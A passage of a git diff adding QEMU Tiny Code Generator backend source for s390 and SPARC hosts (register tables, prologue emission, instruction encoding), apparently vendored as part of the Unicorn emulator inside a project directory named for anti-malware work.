INDEX_op_shl_i64, { "r", "r", "Ri" } }, + { INDEX_op_shr_i64, { "r", "r", "Ri" } }, + { INDEX_op_sar_i64, { "r", "r", "Ri" } }, + + { INDEX_op_rotl_i64, { "r", "r", "Ri" } }, + { INDEX_op_rotr_i64, { "r", "r", "Ri" } }, + + { INDEX_op_ext8s_i64, { "r", "r" } }, + { INDEX_op_ext8u_i64, { "r", "r" } }, + { INDEX_op_ext16s_i64, { "r", "r" } }, + { INDEX_op_ext16u_i64, { "r", "r" } }, + { INDEX_op_ext32s_i64, { "r", "r" } }, + { INDEX_op_ext32u_i64, { "r", "r" } }, + + { INDEX_op_bswap16_i64, { "r", "r" } }, + { INDEX_op_bswap32_i64, { "r", "r" } }, + { INDEX_op_bswap64_i64, { "r", "r" } }, + + { INDEX_op_add2_i64, { "r", "r", "0", "1", "rA", "r" } }, + { INDEX_op_sub2_i64, { "r", "r", "0", "1", "rA", "r" } }, + + { INDEX_op_brcond_i64, { "r", "rC" } }, + { INDEX_op_setcond_i64, { "r", "r", "rC" } }, + { INDEX_op_movcond_i64, { "r", "r", "rC", "r", "0" } }, + { INDEX_op_deposit_i64, { "r", "0", "r" } }, + + { -1 }, +}; + +static void query_facilities(void) +{ + unsigned long hwcap = qemu_getauxval(AT_HWCAP); + + /* Is STORE FACILITY LIST EXTENDED available? Honestly, I believe this + is present on all 64-bit systems, but let's check for it anyway. */ + if (hwcap & HWCAP_S390_STFLE) { + register int r0 __asm__("0"); + register void *r1 __asm__("1"); + + /* stfle 0(%r1) */ + r1 = &facilities; + asm volatile(".word 0xb2b0,0x1000" + : "=r"(r0) : "0"(0), "r"(r1) : "memory", "cc"); + } +} + +static void tcg_target_init(TCGContext *s) +{ + query_facilities(); + + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I32], 0, 0xffff); + tcg_regset_set32(s->tcg_target_available_regs[TCG_TYPE_I64], 0, 0xffff); + + tcg_regset_clear(s->tcg_target_call_clobber_regs); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R0); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R1); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R2); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R3); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R4); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R5); + /* The r6 register is technically call-saved, but it's also a parameter + register, so it can get killed by setup for the qemu_st helper. */ + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R6); + /* The return register can be considered call-clobbered. */ + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R14); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_TMP0); + /* XXX many insns can't be used with R0, so we better avoid it for now */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R0); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_CALL_STACK); + + tcg_add_target_add_op_defs(s, s390_op_defs); +} + +#define FRAME_SIZE ((int)(TCG_TARGET_CALL_STACK_OFFSET \ + + TCG_STATIC_CALL_ARGS_SIZE \ + + CPU_TEMP_BUF_NLONGS * sizeof(long))) + +static void tcg_target_qemu_prologue(TCGContext *s) +{ + /* stmg %r6,%r15,48(%r15) (save registers) */ + tcg_out_insn(s, RXY, STMG, TCG_REG_R6, TCG_REG_R15, TCG_REG_R15, 48); + + /* aghi %r15,-frame_size */ + tcg_out_insn(s, RI, AGHI, TCG_REG_R15, -FRAME_SIZE); + + tcg_set_frame(s, TCG_REG_CALL_STACK, + TCG_STATIC_CALL_ARGS_SIZE + TCG_TARGET_CALL_STACK_OFFSET, + CPU_TEMP_BUF_NLONGS * sizeof(long)); + + if (GUEST_BASE >= 0x80000) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_GUEST_BASE_REG, GUEST_BASE); + tcg_regset_set_reg(s->reserved_regs, TCG_GUEST_BASE_REG); + } + + tcg_out_mov(s, TCG_TYPE_PTR, TCG_AREG0, tcg_target_call_iarg_regs[0]); + /* br %r3 (go to TB) */ + tcg_out_insn(s, RR, BCR, S390_CC_ALWAYS, tcg_target_call_iarg_regs[1]); + + tb_ret_addr = s->code_ptr; + + /* lmg %r6,%r15,fs+48(%r15) (restore registers) */ + tcg_out_insn(s, RXY, LMG, TCG_REG_R6, TCG_REG_R15, TCG_REG_R15, + FRAME_SIZE + 48); + + /* br %r14 (return) */ + tcg_out_insn(s, RR, BCR, S390_CC_ALWAYS, TCG_REG_R14); +} + +#define ELF_HOST_MACHINE EM_S390 diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.h new file mode 100644 index 0000000..5acc28c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/s390/tcg-target.h @@ -0,0 +1,122 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2009 Ulrich Hecht + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_S390 +#define TCG_TARGET_S390 1 + +#define TCG_TARGET_INSN_UNIT_SIZE 2 + +typedef enum TCGReg { + TCG_REG_R0 = 0, + TCG_REG_R1, + TCG_REG_R2, + TCG_REG_R3, + TCG_REG_R4, + TCG_REG_R5, + TCG_REG_R6, + TCG_REG_R7, + TCG_REG_R8, + TCG_REG_R9, + TCG_REG_R10, + TCG_REG_R11, + TCG_REG_R12, + TCG_REG_R13, + TCG_REG_R14, + TCG_REG_R15 +} TCGReg; + +#define TCG_TARGET_NB_REGS 16 + +/* optional instructions */ +#define TCG_TARGET_HAS_div2_i32 1 +#define TCG_TARGET_HAS_rot_i32 1 +#define TCG_TARGET_HAS_ext8s_i32 1 +#define TCG_TARGET_HAS_ext16s_i32 1 +#define TCG_TARGET_HAS_ext8u_i32 1 +#define TCG_TARGET_HAS_ext16u_i32 1 +#define TCG_TARGET_HAS_bswap16_i32 1 +#define TCG_TARGET_HAS_bswap32_i32 1 +#define TCG_TARGET_HAS_not_i32 0 +#define TCG_TARGET_HAS_neg_i32 1 +#define TCG_TARGET_HAS_andc_i32 0 +#define TCG_TARGET_HAS_orc_i32 0 +#define TCG_TARGET_HAS_eqv_i32 0 +#define TCG_TARGET_HAS_nand_i32 0 +#define TCG_TARGET_HAS_nor_i32 0 +#define TCG_TARGET_HAS_deposit_i32 1 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_add2_i32 1 +#define TCG_TARGET_HAS_sub2_i32 1 +#define TCG_TARGET_HAS_mulu2_i32 0 +#define TCG_TARGET_HAS_muls2_i32 0 +#define TCG_TARGET_HAS_muluh_i32 0 +#define TCG_TARGET_HAS_mulsh_i32 0 +#define TCG_TARGET_HAS_trunc_shr_i32 0 + +#define TCG_TARGET_HAS_div2_i64 1 +#define TCG_TARGET_HAS_rot_i64 1 +#define TCG_TARGET_HAS_ext8s_i64 1 +#define TCG_TARGET_HAS_ext16s_i64 1 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i64 1 +#define TCG_TARGET_HAS_ext16u_i64 1 +#define TCG_TARGET_HAS_ext32u_i64 1 +#define TCG_TARGET_HAS_bswap16_i64 1 +#define TCG_TARGET_HAS_bswap32_i64 1 +#define TCG_TARGET_HAS_bswap64_i64 1 +#define TCG_TARGET_HAS_not_i64 0 +#define TCG_TARGET_HAS_neg_i64 1 +#define TCG_TARGET_HAS_andc_i64 0 +#define TCG_TARGET_HAS_orc_i64 0 +#define TCG_TARGET_HAS_eqv_i64 0 +#define TCG_TARGET_HAS_nand_i64 0 +#define TCG_TARGET_HAS_nor_i64 0 +#define TCG_TARGET_HAS_deposit_i64 1 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_add2_i64 1 +#define TCG_TARGET_HAS_sub2_i64 1 +#define TCG_TARGET_HAS_mulu2_i64 1 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i64 0 +#define TCG_TARGET_HAS_mulsh_i64 0 + +extern bool tcg_target_deposit_valid(int ofs, int len); +#define TCG_TARGET_deposit_i32_valid tcg_target_deposit_valid +#define TCG_TARGET_deposit_i64_valid tcg_target_deposit_valid + +/* used for function call generation */ +#define TCG_REG_CALL_STACK TCG_REG_R15 +#define TCG_TARGET_STACK_ALIGN 8 +#define TCG_TARGET_CALL_STACK_OFFSET 160 + +#define TCG_TARGET_EXTEND_ARGS 1 + +enum { + TCG_AREG0 = TCG_REG_R10, +}; + +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.c new file mode 100644 index 0000000..3fcdcad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/sparc/tcg-target.c @@ -0,0 +1,1613 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg-be-null.h" + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "%g0", + "%g1", + "%g2", + "%g3", + "%g4", + "%g5", + "%g6", + "%g7", + "%o0", + "%o1", + "%o2", + "%o3", + "%o4", + "%o5", + "%o6", + "%o7", + "%l0", + "%l1", + "%l2", + "%l3", + "%l4", + "%l5", + "%l6", + "%l7", + "%i0", + "%i1", + "%i2", + "%i3", + "%i4", + "%i5", + "%i6", + "%i7", +}; +#endif + +#ifdef __arch64__ +# define SPARC64 1 +#else +# define SPARC64 0 +#endif + +/* Note that sparcv8plus can only hold 64 bit quantities in %g and %o + registers. These are saved manually by the kernel in full 64-bit + slots. The %i and %l registers are saved by the register window + mechanism, which only allocates space for 32 bits. Given that this + window spill/fill can happen on any signal, we must consider the + high bits of the %i and %l registers garbage at all times. */ +#if SPARC64 +# define ALL_64 0xffffffffu +#else +# define ALL_64 0xffffu +#endif + +/* Define some temporary registers. T2 is used for constant generation. */ +#define TCG_REG_T1 TCG_REG_G1 +#define TCG_REG_T2 TCG_REG_O7 + +#ifdef CONFIG_USE_GUEST_BASE +# define TCG_GUEST_BASE_REG TCG_REG_I5 +#else +# define TCG_GUEST_BASE_REG TCG_REG_G0 +#endif + +static const int tcg_target_reg_alloc_order[] = { + TCG_REG_L0, + TCG_REG_L1, + TCG_REG_L2, + TCG_REG_L3, + TCG_REG_L4, + TCG_REG_L5, + TCG_REG_L6, + TCG_REG_L7, + + TCG_REG_I0, + TCG_REG_I1, + TCG_REG_I2, + TCG_REG_I3, + TCG_REG_I4, + TCG_REG_I5, + + TCG_REG_G2, + TCG_REG_G3, + TCG_REG_G4, + TCG_REG_G5, + + TCG_REG_O0, + TCG_REG_O1, + TCG_REG_O2, + TCG_REG_O3, + TCG_REG_O4, + TCG_REG_O5, +}; + +static const int tcg_target_call_iarg_regs[6] = { + TCG_REG_O0, + TCG_REG_O1, + TCG_REG_O2, + TCG_REG_O3, + TCG_REG_O4, + TCG_REG_O5, +}; + +static const int tcg_target_call_oarg_regs[] = { + TCG_REG_O0, + TCG_REG_O1, + TCG_REG_O2, + TCG_REG_O3, +}; + +#define INSN_OP(x) ((x) << 30) +#define INSN_OP2(x) ((x) << 22) +#define INSN_OP3(x) ((x) << 19) +#define INSN_OPF(x) ((x) << 5) +#define INSN_RD(x) ((x) << 25) +#define INSN_RS1(x) ((x) << 14) +#define INSN_RS2(x) (x) +#define INSN_ASI(x) ((x) << 5) + +#define INSN_IMM10(x) ((1 << 13) | ((x) & 0x3ff)) +#define INSN_IMM11(x) ((1 << 13) | ((x) & 0x7ff)) +#define INSN_IMM13(x) ((1 << 13) | ((x) & 0x1fff)) +#define INSN_OFF16(x) ((((x) >> 2) & 0x3fff) | ((((x) >> 16) & 3) << 20)) +#define INSN_OFF19(x) (((x) >> 2) & 0x07ffff) +#define INSN_COND(x) ((x) << 25) + +#define COND_N 0x0 +#define COND_E 0x1 +#define COND_LE 0x2 +#define COND_L 0x3 +#define COND_LEU 0x4 +#define COND_CS 0x5 +#define COND_NEG 0x6 +#define COND_VS 0x7 +#define COND_A 0x8 +#define COND_NE 0x9 +#define COND_G 0xa +#define COND_GE 0xb +#define COND_GU 0xc +#define COND_CC 0xd +#define COND_POS 0xe +#define COND_VC 0xf +#define BA (INSN_OP(0) | INSN_COND(COND_A) | INSN_OP2(0x2)) + +#define RCOND_Z 1 +#define RCOND_LEZ 2 +#define RCOND_LZ 3 +#define RCOND_NZ 5 +#define RCOND_GZ 6 +#define RCOND_GEZ 7 + +#define MOVCC_ICC (1 << 18) +#define MOVCC_XCC (1 << 18 | 1 << 12) + +#define BPCC_ICC 0 +#define BPCC_XCC (2 << 20) +#define BPCC_PT (1 << 19) +#define BPCC_PN 0 +#define BPCC_A (1 << 29) + +#define BPR_PT BPCC_PT + +#define ARITH_ADD (INSN_OP(2) | INSN_OP3(0x00)) +#define ARITH_ADDCC (INSN_OP(2) | INSN_OP3(0x10)) +#define ARITH_AND (INSN_OP(2) | INSN_OP3(0x01)) +#define ARITH_ANDN (INSN_OP(2) | INSN_OP3(0x05)) +#define ARITH_OR (INSN_OP(2) | INSN_OP3(0x02)) +#define ARITH_ORCC (INSN_OP(2) | INSN_OP3(0x12)) +#define ARITH_ORN (INSN_OP(2) | INSN_OP3(0x06)) +#define ARITH_XOR (INSN_OP(2) | INSN_OP3(0x03)) +#define ARITH_SUB (INSN_OP(2) | INSN_OP3(0x04)) +#define ARITH_SUBCC (INSN_OP(2) | INSN_OP3(0x14)) +#define ARITH_ADDC (INSN_OP(2) | INSN_OP3(0x08)) +#define ARITH_SUBC (INSN_OP(2) | INSN_OP3(0x0c)) +#define ARITH_UMUL (INSN_OP(2) | INSN_OP3(0x0a)) +#define ARITH_SMUL (INSN_OP(2) | INSN_OP3(0x0b)) +#define ARITH_UDIV (INSN_OP(2) | INSN_OP3(0x0e)) +#define ARITH_SDIV (INSN_OP(2) | INSN_OP3(0x0f)) +#define ARITH_MULX (INSN_OP(2) | INSN_OP3(0x09)) +#define ARITH_UDIVX (INSN_OP(2) | INSN_OP3(0x0d)) +#define ARITH_SDIVX (INSN_OP(2) | INSN_OP3(0x2d)) +#define ARITH_MOVCC (INSN_OP(2) | INSN_OP3(0x2c)) +#define ARITH_MOVR (INSN_OP(2) | INSN_OP3(0x2f)) + +#define ARITH_ADDXC (INSN_OP(2) | INSN_OP3(0x36) | INSN_OPF(0x11)) +#define ARITH_UMULXHI (INSN_OP(2) | INSN_OP3(0x36) | INSN_OPF(0x16)) + +#define SHIFT_SLL (INSN_OP(2) | INSN_OP3(0x25)) +#define SHIFT_SRL (INSN_OP(2) | INSN_OP3(0x26)) +#define SHIFT_SRA (INSN_OP(2) | INSN_OP3(0x27)) + +#define SHIFT_SLLX (INSN_OP(2) | INSN_OP3(0x25) | (1 << 12)) +#define SHIFT_SRLX (INSN_OP(2) | INSN_OP3(0x26) | (1 << 12)) +#define SHIFT_SRAX (INSN_OP(2) | INSN_OP3(0x27) | (1 << 12)) + +#define RDY (INSN_OP(2) | INSN_OP3(0x28) | INSN_RS1(0)) +#define WRY (INSN_OP(2) | INSN_OP3(0x30) | INSN_RD(0)) +#define JMPL (INSN_OP(2) | INSN_OP3(0x38)) +#define RETURN (INSN_OP(2) | INSN_OP3(0x39)) +#define SAVE (INSN_OP(2) | INSN_OP3(0x3c)) +#define RESTORE (INSN_OP(2) | INSN_OP3(0x3d)) +#define SETHI (INSN_OP(0) | INSN_OP2(0x4)) +#define CALL INSN_OP(1) +#define LDUB (INSN_OP(3) | INSN_OP3(0x01)) +#define LDSB (INSN_OP(3) | INSN_OP3(0x09)) +#define LDUH (INSN_OP(3) | INSN_OP3(0x02)) +#define LDSH (INSN_OP(3) | INSN_OP3(0x0a)) +#define LDUW (INSN_OP(3) | INSN_OP3(0x00)) +#define LDSW (INSN_OP(3) | INSN_OP3(0x08)) +#define LDX (INSN_OP(3) | INSN_OP3(0x0b)) +#define STB (INSN_OP(3) | INSN_OP3(0x05)) +#define STH (INSN_OP(3) | INSN_OP3(0x06)) +#define STW (INSN_OP(3) | INSN_OP3(0x04)) +#define STX (INSN_OP(3) | INSN_OP3(0x0e)) +#define LDUBA (INSN_OP(3) | INSN_OP3(0x11)) +#define LDSBA (INSN_OP(3) | INSN_OP3(0x19)) +#define LDUHA (INSN_OP(3) | INSN_OP3(0x12)) +#define LDSHA (INSN_OP(3) | INSN_OP3(0x1a)) +#define LDUWA (INSN_OP(3) | INSN_OP3(0x10)) +#define LDSWA (INSN_OP(3) | INSN_OP3(0x18)) +#define LDXA (INSN_OP(3) | INSN_OP3(0x1b)) +#define STBA (INSN_OP(3) | INSN_OP3(0x15)) +#define STHA (INSN_OP(3) | INSN_OP3(0x16)) +#define STWA (INSN_OP(3) | INSN_OP3(0x14)) +#define STXA (INSN_OP(3) | INSN_OP3(0x1e)) + +#ifndef ASI_PRIMARY_LITTLE +#define ASI_PRIMARY_LITTLE 0x88 +#endif + +#define LDUH_LE (LDUHA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define LDSH_LE (LDSHA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define LDUW_LE (LDUWA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define LDSW_LE (LDSWA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define LDX_LE (LDXA | INSN_ASI(ASI_PRIMARY_LITTLE)) + +#define STH_LE (STHA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define STW_LE (STWA | INSN_ASI(ASI_PRIMARY_LITTLE)) +#define STX_LE (STXA | INSN_ASI(ASI_PRIMARY_LITTLE)) + +#ifndef use_vis3_instructions +bool use_vis3_instructions; +#endif + +static inline int check_fit_i64(int64_t val, unsigned int bits) +{ + return val == sextract64(val, 0, bits); +} + +static inline int check_fit_i32(int32_t val, unsigned int bits) +{ + return val == sextract32(val, 0, bits); +} + +#define check_fit_tl check_fit_i64 +#if SPARC64 +# define check_fit_ptr check_fit_i64 +#else +# define check_fit_ptr check_fit_i32 +#endif + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + uint32_t insn; + + assert(addend == 0); + value = tcg_ptr_byte_diff((tcg_insn_unit *)value, code_ptr); + + switch (type) { + case R_SPARC_WDISP16: + if (!check_fit_ptr(value >> 2, 16)) { + tcg_abort(); + } + insn = *code_ptr; + insn &= ~INSN_OFF16(-1); + insn |= INSN_OFF16(value); + *code_ptr = insn; + break; + case R_SPARC_WDISP19: + if (!check_fit_ptr(value >> 2, 19)) { + tcg_abort(); + } + insn = *code_ptr; + insn &= ~INSN_OFF19(-1); + insn |= INSN_OFF19(value); + *code_ptr = insn; + break; + default: + tcg_abort(); + } +} + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str; + + ct_str = *pct_str; + switch (ct_str[0]) { + case 'r': + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffffffff); + break; + case 'R': + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, ALL_64); + break; + case 'A': /* qemu_ld/st address constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, + TARGET_LONG_BITS == 64 ? ALL_64 : 0xffffffff); + reserve_helpers: + tcg_regset_reset_reg(ct->u.regs, TCG_REG_O0); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_O1); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_O2); + break; + case 's': /* qemu_st data 32-bit constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, 0xffffffff); + goto reserve_helpers; + case 'S': /* qemu_st data 64-bit constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set32(ct->u.regs, 0, ALL_64); + goto reserve_helpers; + case 'I': + ct->ct |= TCG_CT_CONST_S11; + break; + case 'J': + ct->ct |= TCG_CT_CONST_S13; + break; + case 'Z': + ct->ct |= TCG_CT_CONST_ZERO; + break; + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + return 0; +} + +/* test if a constant matches the constraint */ +static inline int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct = arg_ct->ct; + + if (ct & TCG_CT_CONST) { + return 1; + } + + if (type == TCG_TYPE_I32) { + val = (int32_t)val; + } + + if ((ct & TCG_CT_CONST_ZERO) && val == 0) { + return 1; + } else if ((ct & TCG_CT_CONST_S11) && check_fit_tl(val, 11)) { + return 1; + } else if ((ct & TCG_CT_CONST_S13) && check_fit_tl(val, 13)) { + return 1; + } else { + return 0; + } +} + +static inline void tcg_out_arith(TCGContext *s, TCGReg rd, TCGReg rs1, + TCGReg rs2, int op) +{ + tcg_out32(s, op | INSN_RD(rd) | INSN_RS1(rs1) | INSN_RS2(rs2)); +} + +static inline void tcg_out_arithi(TCGContext *s, TCGReg rd, TCGReg rs1, + int32_t offset, int op) +{ + tcg_out32(s, op | INSN_RD(rd) | INSN_RS1(rs1) | INSN_IMM13(offset)); +} + +static void tcg_out_arithc(TCGContext *s, TCGReg rd, TCGReg rs1, + int32_t val2, int val2const, int op) +{ + tcg_out32(s, op | INSN_RD(rd) | INSN_RS1(rs1) + | (val2const ? INSN_IMM13(val2) : INSN_RS2(val2))); +} + +static inline void tcg_out_mov(TCGContext *s, TCGType type, + TCGReg ret, TCGReg arg) +{ + if (ret != arg) { + tcg_out_arith(s, ret, arg, TCG_REG_G0, ARITH_OR); + } +} + +static inline void tcg_out_sethi(TCGContext *s, TCGReg ret, uint32_t arg) +{ + tcg_out32(s, SETHI | INSN_RD(ret) | ((arg & 0xfffffc00) >> 10)); +} + +static inline void tcg_out_movi_imm13(TCGContext *s, TCGReg ret, int32_t arg) +{ + tcg_out_arithi(s, ret, TCG_REG_G0, arg, ARITH_OR); +} + +static void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg ret, tcg_target_long arg) +{ + tcg_target_long hi, lo = (int32_t)arg; + + /* Make sure we test 32-bit constants for imm13 properly. */ + if (type == TCG_TYPE_I32) { + arg = lo; + } + + /* A 13-bit constant sign-extended to 64-bits. */ + if (check_fit_tl(arg, 13)) { + tcg_out_movi_imm13(s, ret, arg); + return; + } + + /* A 32-bit constant, or 32-bit zero-extended to 64-bits. */ + if (type == TCG_TYPE_I32 || arg == (uint32_t)arg) { + tcg_out_sethi(s, ret, arg); + if (arg & 0x3ff) { + tcg_out_arithi(s, ret, ret, arg & 0x3ff, ARITH_OR); + } + return; + } + + /* A 32-bit constant sign-extended to 64-bits. */ + if (arg == lo) { + tcg_out_sethi(s, ret, ~arg); + tcg_out_arithi(s, ret, ret, (arg & 0x3ff) | -0x400, ARITH_XOR); + return; + } + + /* A 64-bit constant decomposed into 2 32-bit pieces. */ + if (check_fit_i32(lo, 13)) { + hi = (arg - lo) >> 32; + tcg_out_movi(s, TCG_TYPE_I32, ret, hi); + tcg_out_arithi(s, ret, ret, 32, SHIFT_SLLX); + tcg_out_arithi(s, ret, ret, lo, ARITH_ADD); + } else { + hi = arg >> 32; + tcg_out_movi(s, TCG_TYPE_I32, ret, hi); + tcg_out_movi(s, TCG_TYPE_I32, TCG_REG_T2, lo); + tcg_out_arithi(s, ret, ret, 32, SHIFT_SLLX); + tcg_out_arith(s, ret, ret, TCG_REG_T2, ARITH_OR); + } +} + +static inline void tcg_out_ldst_rr(TCGContext *s, TCGReg data, TCGReg a1, + TCGReg a2, int op) +{ + tcg_out32(s, op | INSN_RD(data) | INSN_RS1(a1) | INSN_RS2(a2)); +} + +static void tcg_out_ldst(TCGContext *s, TCGReg ret, TCGReg addr, + intptr_t offset, int op) +{ + if (check_fit_ptr(offset, 13)) { + tcg_out32(s, op | INSN_RD(ret) | INSN_RS1(addr) | + INSN_IMM13(offset)); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_REG_T1, offset); + tcg_out_ldst_rr(s, ret, addr, TCG_REG_T1, op); + } +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg ret, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, ret, arg1, arg2, (type == TCG_TYPE_I32 ? LDUW : LDX)); +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, arg, arg1, arg2, (type == TCG_TYPE_I32 ? STW : STX)); +} + +static void tcg_out_ld_ptr(TCGContext *s, TCGReg ret, uintptr_t arg) +{ + tcg_out_movi(s, TCG_TYPE_PTR, ret, arg & ~0x3ff); + tcg_out_ld(s, TCG_TYPE_PTR, ret, ret, arg & 0x3ff); +} + +static inline void tcg_out_sety(TCGContext *s, TCGReg rs) +{ + tcg_out32(s, WRY | INSN_RS1(TCG_REG_G0) | INSN_RS2(rs)); +} + +static inline void tcg_out_rdy(TCGContext *s, TCGReg rd) +{ + tcg_out32(s, RDY | INSN_RD(rd)); +} + +static void tcg_out_div32(TCGContext *s, TCGReg rd, TCGReg rs1, + int32_t val2, int val2const, int uns) +{ + /* Load Y with the sign/zero extension of RS1 to 64-bits. */ + if (uns) { + tcg_out_sety(s, TCG_REG_G0); + } else { + tcg_out_arithi(s, TCG_REG_T1, rs1, 31, SHIFT_SRA); + tcg_out_sety(s, TCG_REG_T1); + } + + tcg_out_arithc(s, rd, rs1, val2, val2const, + uns ? ARITH_UDIV : ARITH_SDIV); +} + +static inline void tcg_out_nop(TCGContext *s) +{ + tcg_out_sethi(s, TCG_REG_G0, 0); +} + +static const uint8_t tcg_cond_to_bcond[] = { + [TCG_COND_EQ] = COND_E, + [TCG_COND_NE] = COND_NE, + [TCG_COND_LT] = COND_L, + [TCG_COND_GE] = COND_GE, + [TCG_COND_LE] = COND_LE, + [TCG_COND_GT] = COND_G, + [TCG_COND_LTU] = COND_CS, + [TCG_COND_GEU] = COND_CC, + [TCG_COND_LEU] = COND_LEU, + [TCG_COND_GTU] = COND_GU, +}; + +static const uint8_t tcg_cond_to_rcond[] = { + [TCG_COND_EQ] = RCOND_Z, + [TCG_COND_NE] = RCOND_NZ, + [TCG_COND_LT] = RCOND_LZ, + [TCG_COND_GT] = RCOND_GZ, + [TCG_COND_LE] = RCOND_LEZ, + [TCG_COND_GE] = RCOND_GEZ +}; + +static void tcg_out_bpcc0(TCGContext *s, int scond, int flags, int off19) +{ + tcg_out32(s, INSN_OP(0) | INSN_OP2(1) | INSN_COND(scond) | flags | off19); +} + +static void tcg_out_bpcc(TCGContext *s, int scond, int flags, int label) +{ + TCGLabel *l = &s->labels[label]; + int off19; + + if (l->has_value) { + off19 = INSN_OFF19(tcg_pcrel_diff(s, l->u.value_ptr)); + } else { + /* Make sure to preserve destinations during retranslation. */ + off19 = *s->code_ptr & INSN_OFF19(-1); + tcg_out_reloc(s, s->code_ptr, R_SPARC_WDISP19, label, 0); + } + tcg_out_bpcc0(s, scond, flags, off19); +} + +static void tcg_out_cmp(TCGContext *s, TCGReg c1, int32_t c2, int c2const) +{ + tcg_out_arithc(s, TCG_REG_G0, c1, c2, c2const, ARITH_SUBCC); +} + +static void tcg_out_brcond_i32(TCGContext *s, TCGCond cond, TCGReg arg1, + int32_t arg2, int const_arg2, int label) +{ + tcg_out_cmp(s, arg1, arg2, const_arg2); + tcg_out_bpcc(s, tcg_cond_to_bcond[cond], BPCC_ICC | BPCC_PT, label); + tcg_out_nop(s); +} + +static void tcg_out_movcc(TCGContext *s, TCGCond cond, int cc, TCGReg 